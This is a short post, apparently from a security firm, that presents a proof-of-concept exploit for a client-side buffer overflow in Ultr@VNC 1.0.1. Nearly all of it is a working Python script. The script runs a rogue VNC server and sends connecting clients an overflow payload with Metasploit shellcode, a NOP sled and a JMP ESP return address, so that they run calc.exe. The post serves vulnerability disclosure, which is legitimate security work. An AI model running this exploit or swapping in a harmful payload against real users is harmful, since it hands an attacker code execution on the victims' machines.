Ultr@VNC 1.0.1 Client POC Code
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Though the Server appears safe against remote code execution, the client exploitation is trivial with OllyDbg.  
The following POC binds to port 5900 and executes a buffer overflow on vulnerable clients that connect. The client machine will then spawn an instance of calc.exe. 

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#!/usr/bin/python

#Ultr@VNC 1.0.1 Client Buffer Overflow - Luigi Auriemm
#POC by Paul Haas at Redspin.com
#Tested on WinXP SP 2: Launches Calc
import socket, struct

HOST = ''                  # Localhost
PORT = 5900               # VNC Server
BOFSZ = 1024      # Buffer Size
HEAD = "RFB 003.006\n"    # VNC Header
MESSAGE = "Requires Ultr@VNC Authentication\n"
NOP = "\x90"      # Standard x86 NOP
JMP = "\xE9\x1B\xFC\xFF\xFF"   # JMP To BUFF
ESP = "\xE0\x3A\xB4\x76"  # winmm.dll: JMP %esp
POP = "PASSWORD"     # RET 8

# win32_exec - CMD=calc Size=160 http://metasploit.com
SHELLCODE = \
"\x31\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xe1"+\
"\x7c\x05\xd9\x83\xeb\xfc\xe2\xf4\x1d\x94\x41\xd9\xe1\x7c\x8e\x9c"+\
"\xdd\xf7\x79\xdc\x99\x7d\xea\x52\xae\x64\x8e\x86\xc1\x7d\xee\x90"+\
"\x6a\x48\x8e\xd8\x0f\x4d\xc5\x40\x4d\xf8\xc5\xad\xe6\xbd\xcf\xd4"+\
"\xe0\xbe\xee\x2d\xda\x28\x21\xdd\x94\x99\x8e\x86\xc5\x7d\xee\xbf"+\
"\x6a\x70\x4e\x52\xbe\x60\x04\x32\x6a\x60\x8e\xd8\x0a\xf5\x59\xfd"+\
"\xe5\xbf\x34\x19\x85\xf7\x45\xe9\x64\xbc\x7d\xd5\x6a\x3c\x09\x52"+\
"\x91\x60\xa8\x52\x89\x74\xee\xd0\x6a\xfc\xb5\xd9\xe1\x7c\x8e\xb1"+\
"\xdd\x23\x34\x2f\x81\x2a\x8c\x21\x62\xbc\x7e\x89\x89\x8c\x8f\xdd"+\
"\xbe\x14\x9d\x27\x6b\x72\x52\x26\x06\x1f\x64\xb5\x82\x7c\x05\xd9"

#buff = MESSAGE+SHELLCODE+NOP SLED+RET ADDR+USELESS+JUMP TO BUFF
buff = MESSAGE+SHELLCODE+NOP*(BOFSZ-11-len(MESSAGE)-len(SHELLCODE))
buff = buff+ESP+POP+JMP

#Egg = VNC Server Error Reply and Size of Reply + buff
egg = struct.pack('LL',socket.htonl(0),socket.htonl(len(buff)))+buff

print 'Ultr@VNC 1.0.1 Client Buffer Overflow - Luigi Auriemma'
print 'POC by Paul Haas at Redspin.com'
print 'Server listening on port', PORT

#Server Loop
while(1):
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.bind((HOST, PORT))
  s.listen(1)

  conn, addr = s.accept()
  print 'Connection by', addr

  conn.send(HEAD)
  data = conn.recv(12)

  conn.send(egg)
  conn.close()


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Paul Haas - Redspin Security Engineer
<a href="www.redspin.com">Security Assessments</a>